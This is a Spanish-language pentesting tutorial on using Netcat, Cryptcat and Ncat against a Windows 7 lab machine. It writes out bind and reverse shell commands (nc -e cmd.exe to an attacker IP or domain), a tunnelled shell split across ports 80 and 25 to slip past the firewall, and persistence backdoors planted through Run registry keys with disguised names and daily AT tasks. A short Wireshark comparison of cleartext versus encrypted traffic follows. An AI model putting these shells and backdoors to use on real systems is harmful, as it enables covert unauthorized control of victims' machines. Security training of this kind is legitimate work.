Netcat, Cryptcat y Ncat: Las navajas suizas del hacking
Introducción y objetivos
Vamos a estudiar el funcionamiento y comportamiento de estas herramientas, que proporcionan al pentester un abanico de oportunidades en la auditoría de sistemas.
Podemos descargarlas de los siguientes enlaces:
- Netcat: https://eternallybored.org/misc/netcat
- Cryptcat: http://cryptcat.sourceforge.net
En la práctica que vamos a llevar a cabo en este artículo, aprenderemos cómo obtener una “shell de comandos” de una máquina remota mediante el empleo de estas herramientas.
Posteriormente se realizará también un estudio del tráfico de red generado con el uso de cada una de las herramientas, con la finalidad de comprender la seguridad de las comunicaciones.
Obteniendo una «bind shell» en una LAN
a) Máquinas empleadas para la práctica
Para poder dar comienzo a la práctica vamos a utilizar dos máquinas:
Máquina atacante [192.168.183.159]: Kali Linux.
Máquina remota/víctima [192.168.183.173 | 192.168.183.174]: Windows 7
b) Consideraciones antes de empezar
Si utilizamos un puerto que esté protegido/cerrado por un firewall, primeramente se deberá abrir dicho puerto en las reglas del firewall, para poder ponerlo a la escucha. Esto lo podremos realizar en Windows mediante el comando: “netsh firewall add portopening TCP num_puerto «Service Firewall» ENABLE ALL” ó “netsh advfirewall firewall add rule name=»Permitir puerto» dir=out protocol=tcp localport=9999 action=allow”, según la versión de Windows que estemos utilizando.
c) Netcat a la escucha
Para lograr una conexión remota que nos brinde una “bind shell” de comandos de la máquina víctima, deberemos dejar en dicha maquina un «netcat» a la escucha a través del siguiente comando:
- nc -l -d -e cmd.exe -p 9999
A continuación se explican los distintos “flags” pasados por argumento a netcat (nc):
- -d: Con esta opción «netcat» se pone a trabajar en segundo plano para no ser descubierto.
- -e <prog>: Ejecuta un programa cuando se recibe una conexión al puerto a la escucha.
- -l (listening): Abre un puerto específicado por “-p” en espera de una conexión entrante.
- -L (Listening): Más recomendable que la opción «-l» ya que al perder o cerrarse una conexión en la máquina remota el puerto continua a la escucha pudiendo volver a realizar una nueva conexión a la máquina remota sin necesidad de volver a configurar «netcat».
- -p <puerto>: Se define el puerto que se quiere dejar a la escucha, o sobre el que realizar una conexión, según lo que queramos hacer. Importante el tema del firewall, ya que de estar el puerto especificado filtrado por éste, nos va a ser imposible establecer conexiones entrantes y/o salientes.
- -v: Modo “verbose”, para una mayor claridad de lo que va sucediendo a tiempo real. Se puede añadir una doble “-v” para poder obtener mayor información. De gran utilidad para realizar debugging de conexiones.
Nota: Lo ideal es tener el “nc.exe” dentro de la carpeta “system32”, en caso de ser un Sistema Operativo Windows, ya que de no ser así se deberá ejecutar el comando especificando la ruta completa donde se encuentra el netcat. Ejemplo:
- C:\pentesting\nc.exe -L -d -e cmd.exe -p 9999
A continuación podemos observar el lanzamiento del comando, y cómo a través del comando “netstat –an” podemos confirmar que efectivamente está abierto a la espera de conexiones entrantes.
d) Obteniendo la shell de comandos de la máquina víctima
Una vez lanzado este comando en la máquina víctima, sólo hará falta que nosotros nos conectemos a ella desde nuestra máquina atacante.
Es el momento de ir a nuestra máquina atacante y realizar la conexión, especificando la dirección IP del «host remoto» (máquina víctima) y el puerto al que conectarse (9999). Podemos añadir la opción “-vv” (“verbose”) para recibir más información. De esta manera veremos cómo al realizar la conexión, obtendremos una shell de comandos de la máquina víctima (S.O. Windows 7), ya que ejecutará el “cmd.exe” de la víctima para cedernos a nosotros el control sobre el terminal:
- nc 192.168.183.173 9999
Si quisiéramos dejar una “bind shell” en un equipo son S.O. Linux, cambiaría un poco el comando, ya que la shell de comandos (el terminal) en un sistema Linux no se llama “cmd.exe”, ni “command”, sino que se realiza a través de la llamada a “bash” o “sh”, por lo que el comando quedará como sigue (-e /bin/bash ó –e /bin/sh). A modo de prueba de concepto vamos a realizar lo aprendido hasta ahora pero al revés, es decir, vamos a obtener la shell de comandos del equipo con S.O Kali Linux, en la máquina de Windows 7.
Una vez hemos dejado a la escucha la terminal de Kali Linux en su puerto 8888, procedemos a conectarnos a ella a su puerto 8888 desde la máquina Windows 7, para recibir el control de la shell de comandos de Kali, como vemos a continuación.
Obteniendo una shell de comandos inversa en una LAN
Este tipo de conexión, la “reverse shell” o “shell inversa”, es la más ideal tanto para máquinas que se encuentran conectadas bajo una misma red local (LAN), como fuera de ella. Sin embargo una “bind shell” sólo contempla como entorno ideal la misma LAN, ya que de no estar bajo la misma LAN, el atacante deberá atravesar varios dispositivos con diversas configuraciones de firewall, y distintos sistemas de seguridad perimetral, hasta llegar a obtener la shell de comandos de la máquina víctima.
En una “reverse shell” es la víctima quien se conecta a nosotros, al contrario que en una “bind shell”, que somos nosotros quienes nos conectamos a la víctima.
Para llevar a cabo estas prácticas a nivel mundial, es decir, desde cualquier punto del planeta, si el equipo atacante no posee una dirección IP estática lo más conveniente es que se registre un dominio no-ip en “www.no-ip.com”, y asigne un DNS a una dirección IP que pueda modificar siempre que quiera, con el fin de garantizar una conexión estable. En siguientes capítulos veremos cómo preparar un escenario adecuadamente para poder recibir una “reverse shell” de cualquier máquina conectada a Internet a nivel mundial, mediante IP pública.
a) Netcat a la escucha y obtención de la shell inversa de la víctima
A continuación, vamos a dar comienzo a la práctica que nos concierne. Para ello primero debemos dejar “netcat” configurado en nuestra máquina atacante, escuchando en el puerto que queramos recibir la Reverse shell:
- nc -vv -l –p 8000
Una vez configurada nuestra máquina atacante ya sólo debemos hacer que la víctima se conecte a nuestra IP y puerto especificado brindándonos su shell de comando de la siguiente manera:
- nc -d -e cmd.exe 192.168.183.159 8000 :: En caso de ser un S.O. Windows
- nc -d -e /bin/bash 192.168.183.173 8000 :: En caso de ser un S.O. Linux
También podemos realizar la conexión con el nombre del host:
- nc -d -e cmd.exe jaymonsecurity.com 8000
Una vez se haya ejecutado dicho comando en la máquina víctima, se recibirá una shell de comandos de dicha máquina en nuestra máquina atacante, como bien podemos observar a continuación:
Obteniendo una «reverse shell» en redes externas
Para poder llevar a cabo una conexión de esta índole lo único que deberíamos realizar son los siguientes pasos:
- Meternos en la configuración de nuestro router mediante su interfaz web a través de su puerta de enlace en el navegador (Ej. http://192.168.1.1) y configurar en la sección de “port forwarding” o en la DMZ “Zona Des Militarizada” (no muy aconsejable) la apertura del puerto con la dirección IP privada de nuestra máquina atacante. Esto hará que cuando el router reciba una conexión entrante en dicho puerto, haga una redirección a la máquina atacante dentro de la LAN al puerto especificado, que deberá estar a la escucha en dicha máquina.
- Dejar a la escucha en nuestra máquina atacante el puerto abierto en el router, en el que se recibirá la «reverse shell» de la máquina víctima.
- Es aconsejable crear un DNS estático con nuestra IP pública (“https://www.whatismyip.com”) a través de “no-ip.com” para hacer que la máquina víctima se conecte a nuestro DNS estático en lugar de a nuestra IP pública dinámica, ya que si esta cambia, perderemos la conexión inversa de la máquina víctima.
Evadiendo el firewall de la máquina Windows
Cuando trabajamos con sistemas que presentan firewalls, tenemos que tener en cuenta que para poder realizar una conexión exitosa con la máquina víctima, el puerto que vayamos a utilizar deberá estar previamente habilitado por el firewall. De no ser así, si la victima tiene el firewall activado en el momento en que realicemos la conexión, le va a saltar una alerta en pantalla que delatará la presencia de un atacante.
Para que esto no ocurra, y el atacante pueda operar desde la sombra en la máquina víctima, lo que podemos hacer es utilizar puertos que no estén filtrados por un firewall o router con firewall integrado. Para dar comienzo a esta práctica, vamos a emplear dos puertos: uno para enviar la información (los comandos a la máquina víctima), y otro para recibirla. Por normal general, la mayoría de los firewall tienen habilitados los puertos 80(HTTP), 443(HTTPS) y 25(SMTP). Pero puede ser que únicamente algunos los tengan para tráfico de entrada o tráfico de salida.
a) Configurando el escenario con Netcat
Vamos a necesitar configurar dos “netcat” a la escucha en el equipo atacante. Uno en el puerto 80 para enviar los comandos a ejecutar en la máquina víctima, y otro en el puerto 25 para recibir la información que arrojen la ejecución de los comandos.
- nc -vv -l -p 80
- nc -vv -l -p 25
b) Obteniendo la shell de comandos tunelizada
Una vez preparado el escenario en nuestra máquina atacante, ya sólo queda que la máquina víctima ejecute el siguiente comando, siendo la IP de nuestro equipo atacante la 192.168.183.159:
- nc 192.168.183.159 80 | cmd.exe | nc 192.168.183.159 25
Mediante el dominio de «no-ip» quedaría de la siguiente manera:
- nc jaymonsecurity.com 80 | cmd.exe | nc jaymonsecurity.com 25
Aquí podemos ver que ya tenemos la shell de la máquina víctima, y que el firewall del sistema Windows ha sido totalmente “bypasseado”, ya que podemos ver cómo admite la entrada de comandos por el puerto 80 y la salida de la información por el puerto 25.
Instalando Netcat como puerta trasera en un S.O Windows
Una de las técnicas más empleadas para llevar a cabo la permanencia en un sistema remoto explotado con anterioridad, es el de dejar una puerta trasera con «netcat», «crypcat» o «ncat», mediante la instalación de dichas herramientas en una clave del registro de Windows, con el objetivo de que cada vez que la máquina víctima se reinicie, se ejecute automáticamente la puerta trasera para dar el control de la máquina víctima al atacante.
a) Instalación en el registro de Windows
Primeramente abrimos el “regedit” desde “ejecutar” o bien desde el “cmd”. Una vez abierto el registro de Windows vamos a las siguientes claves y creamos un valor alfanumérico.
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Al valor alfanumérico le ponemos un nombre que pase desapercibido, como por ejemplo System, Microsoft, rundll32, etc. Y como valor le introducimos la ruta donde se encuentre el “netcat” instalado en la máquina seguido de sus respectivos parámetros:
Si se quiere dejar una “bind shell” en un puerto a la escucha (9999):
- c:\pentesting\nc -l -d -e cmd.exe -p 9999
Si se quiere recibir una shell inversa de la víctima a nuestra máquina atacante:
- nc -d -e cmd.exe 192.168.183.159 9999
Si se quiere tunelizar la reverse shell para que no la detecte el firewall:
- nc –d 192.168.183.159 80 | cmd.exe | nc –d 192.168.183.159 25
- nc -d www.no-ip.com <puerto> | cmd.exe | nc -d www.no-ip.com <puerto>
No olvidemos agregar la opción -d para que la ejecución sea en segundo plano en oculto, ya que sino a la hora de que inicie la máquina se verá aparecer la ventana del “cmd” y si la víctima la cierra perderemos su shell de comandos.
Para agregar una nueva clave al registro desde una shell remota podríamos emplear el siguiente comando:
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d «C:\pentesting\nc -l -d -e cmd.exe -p 9999» |
Evidentemente, el comando será el adecuado a cada situación, dependiendo de si queremos dejar el “netcat” para que ejecute una reverse shell o si queremos dejarlo como “bind shell”. Si lo dejamos como shell inversa deberemos tener en cuenta que la conexión a la máquina atacante para ceder la Shell de comandos de la máquina víctima, dura apenas unos segundos, por lo que deberemos tener el escenario preparado en nuestra máquina atacante antes de que el usuario de la máquina víctima inicie sesión, porque de no ser así nunca llegaremos a obtener la reverse shell.
b) Añadiendo ejecución a tareas programadas
Para solventar lo descrito en el párrafo anterior, referente a recibir una shell inversa de la máquina víctima, lo que podemos hacer es dejar el “netcat” programado para que se ejecute diariamente a una determinada hora, para que nosotros ya tengamos previamente configurado nuestro escenario en la máquina atacante, es decir, con el “netcat” a la espera de recibir la reverse shell de la máquina víctima. Como curiosidad, decir que también podemos dejar configurado a la escucha el “multi handler” de Metasploit con el payload “Windows Shell” para recibir la shell de comandos tras la ejecución del netcat. Además, esto proporcionará al pentester la posibilidad de poder realizar posteriormente un «upgrade shell to meterpreter».
Para llevar a cabo esta práctica vamos a emplear el comando “AT”. La sintaxis de dicho comando es la siguiente:
- at <hora> <dia> «comando»
Por tanto, para dejar el netcat configurado para dar una Reverse shell:
- at 8:00p /every:1 «nc -d -e cmd.exe 192.168.183.159 9999»
O, como también hemos visto anteriormente:
- at 8:00p /every:1 «C:\pentesting\nc.exe -d 192.168.183.159 80 | cmd.exe | C:\pentesting\nc.exe -d 192.168.183.159 25»
Como podemos ver, a través de este comando se ejecutará “netcat” todos los días 1 de cada mes del año a las 20:00HL. Para comprobar que se ha agregado la tarea satisfactoriamente no tenemos más que escribir “at” en la terminal.
Recordar que si el “netcat” se encuentra en “System32” no hará falta poner la ruta entera donde se encuentra, ya que de encontrarse en “%systemroot%\system32” la ejecución del comando sería inmediata.
Se aconseja para estos casos de programación de tareas, el estudiar también el comando “SCHTASKS”.
Analizando conexiones entrantes y salientes con Wireshark
En cuanto a la explotación a través del uso y empleo de “netcat”, me gustaría aclarar ciertos términos de gran importancia a la hora de lanzar comandos a través del túnel de conexión establecido entre la máquina atacante y la máquina víctima.
Realizar una intrusión en una máquina, y lanzar comandos a través de la herramienta “netcat” conlleva ciertos inconvenientes. Debemos saber que el empleo de esta herramienta para conexiones entre máquinas, constituye un riesgo a la privacidad de datos, ya que éstos viajan en claro durante la transmisión. Así pues, si hablamos de que estamos realizando una intrusión en una organización, las posibles consecuencias a las que nos enfrentamos son las de poder ser descubiertos o expulsados de la red tras un breve análisis del tráfico cruzado en la misma.
Para abreviar, todo aquello que se lanza a través de “netcat” atraviesa toda la red en claro, pudiendo ser leído por cualquiera que esté analizando la red en ese mismo momento. Para justificarlo voy a mostrar a través del uso de “WireShark”, cómo tras una conexión con “netcat” todo lo que escribamos es perfectamente interceptado e interpretado sin problema alguno. Es por ello que nació un proyecto llamado “cryptcat” y que básicamente es un “encrypting netcat” que realiza las mismas funciones que “netcat”, pero que además cifra el tráfico de red para evitar los problemas descritos. “Cryptcat” lo podemos obtener desde “https://sourceforge.net/projects/cryptcat”.
a) Estudiando el tráfico de red de la conexión con Netcat
Para explicar esta práctica vamos a poner a la escucha un “netcat” en el puerto “8000” cediéndonos la shell de comandos de la máquina víctima con dirección IP “192.168.4.199”, a través del comando “nc –e cmd.exe –l –p 8000”; y nos vamos a conectar a ella desde otra máquina víctima anteriormente explotada con dirección IP “192.168.4.88”, empleando también otro “netcat”.
A continuación, expongo todos los comandos lanzados tras la conexión entre ambas máquinas, para posteriormente poder ver tras el análisis de tráfico con “WireShark” cómo efectivamente se ve todo lo que estamos haciendo a tiempo real.
Primeramente nos conectamos al puerto “8000” de la otra máquina y lanzamos el comando “ipconfig”, se nos devuelve la información en pantalla; posteriormente lanzamos el comando “dir” con el que listar el contenido de un directorio. Posteriormente salimos del directorio actual y entramos en el directorio “system”.
Una vez dentro del directorio “system” hacemos otro “dir” y se nos devuelve el contenido del mismo. Por último lanzamos el comando “net user” con el que poder ver qué usuarios hay en el sistema víctima.
Habiendo aclarado los comandos lanzados durante esta prueba de concepto (PoC), vamos a proceder a analizar los paquetes del tráfico de red capturados a tiempo real con “WireShark”.
En esta primera captura podemos observar cómo tras la conexión se nos devuelve la shell de comandos de la máquina víctima. Podemos ver cómo la conexión se lanza desde la máquina con IP 192.168.4.88 y la shell de comandos nos la devuelve la máquina con IP 192.168.4.199.
Ahora vemos cómo escribimos desde nuestra máquina el comando “ipconfig”:
Y aquí vemos cómo la máquina víctima nos devuelve los resultados esperados de su configuración IP.
Posteriormente lanzamos el comando “dir” desde nuestra máquina:
Y aquí vemos cómo la víctima nos devuelve los resultados del contenido del directorio en el que estamos.
Posteriormente vemos cómo ingresamos en el directorio “system”:
Y tras hacer un “dir” vemos los archivos que hay dentro de dicho directorio, todos ellos subidos en puntos anteriores tras la explotación de la máquina en cuestión.
Finalmente, lanzamos el comando “net user” para listar los usuarios que hay en la máquina víctima:
Y aquí vemos cómo la máquina víctima nos devuelve nuevamente los resultados esperados.
b) Conclusiones de los datos obtenidos
Como hemos podido observar en esta prueba de concepto (PoC), todo el tráfico que viaja a través de un túnel de conexión construido con “netcat” es sumamente inseguro y peligroso; pues de la misma manera que podemos ver los comandos invocados podríamos ver también los usuarios y contraseñas capturados en las máquinas víctimas, o las credenciales empleadas en conexiones reversas a servidores propios, entre otras.
Además, tenemos que tener en cuenta que si tratamos temas de auditorías de una organización con la que se han acordado términos de confidencialidad, deberemos de prestar mucha atención a estos detalles ya que si las credenciales de la organización vuelan en claro por toda la red, debido a una mala práctica por nuestra parte, cualquier atacante o empleado curioso podría capturarlas y dejar nuestra reputación por los suelos, sin contar por supuesto con el daño que podría hacer a la propia organización si aquel que obtuviera las credenciales fuese, por ejemplo, un empleado descontento.
Aclarar que no es lo mismo que las credenciales viajen en claro por la red debido a programas obsoletos y desactualizados de los sistemas auditados, u otros motivos similares, que el que viajen en claro por la red debido a una mala práctica que corra bajo nuestra propia responsabilidad, ya que en este caso podríamos estar incumpliendo algún punto del contrato acordado con la organización para la realización de la auditoría, y esto podría acarrearnos serias consecuencias legales.
Por el contrario, si empleamos “crypcat” en lugar de “netcat”, como podemos ver a continuación en una captura de tráfico con Wireshark, toda la información viaja encriptada, lo cual nos garantiza la confidencialidad de los datos en transmisión.
Conclusiones y recomendaciones: “ncat”
Las conclusiones que sacamos del estudio de “netcat” y “crypcat” básicamente son que para llevar a cumplir los mismos objetivos, es más recomendable el uso y empleo de “crypcat”, ya que además de realizar todas las laboras con la misma exactitud que “netcat”, también cifra la información que viaja por la red, por lo que un atacante que capture esos paquetes de datos no será capaz a priori de saber qué comandos se están lanzando en la máquina víctima, así como tampoco los resultados que estos arrojan a la máquina atacante.
Como algo contraproducente cabe destacar que ambas herramientas son interpretadas por la mayoría de sistemas Antivirus como programas dañinos, troyanos o malware en general.
Es por ello que como recomendación final me gustaría decir que la mejor herramienta a día de hoy para realizar todas estas labores es “Ncat”, la cual se escribió por los creadores del proyecto “Nmap”, el famoso escáner de puertos y servicios, con la finalidad de realizar una herramienta de última generación muy mejorada del aquí estudiado “Netcat”.
“Ncat” para Windows puede ser descargado desde su página oficial: “https://nmap.org/ncat/”
Si queremos instalarlo en “Kali Linux” únicamente tenemos que llamar a su instalación desde sus repositorios a través del comando “apt-get install ncat”.
Como breve descripción de “ncat” decir que para el cifrado y la autenticación se pueden utilizar SSL, SSL CERT, SSL KEY, SSL VERIFY.
Para dejar configurada una bind shell en la máquina víctima debemos lanzar el siguiente comando:
- Ncat -lvp 455 –ssl -e cmd.exe –allow 192.168.183.159
De esta manera la comunicación es cifrada mediante el empleo de SSL, y únicamente se permite que la máquina con IP 192.168.183.159 se pueda conectar. Como curiosidad, aclarar que es posible conectarse desde otra máquina que no sea la de esa dirección IP, a través de un ataque de “IP Spoofing”.
En la máquina atacante (Kali Linux) deberemos realizar la conexión a la máquina víctima con IP 192.168.183.177 al puerto 455 para obtener su shell de comandos como sigue:
- ncat 192.168.183.177 455 –ssl :: Atención a las mayúsculas que en Linux son sensibles.
Hasta aquí este breve estudio, que espero les haya proporcionado una visión más global del funcionamiento y comportamiento de estas herramientas.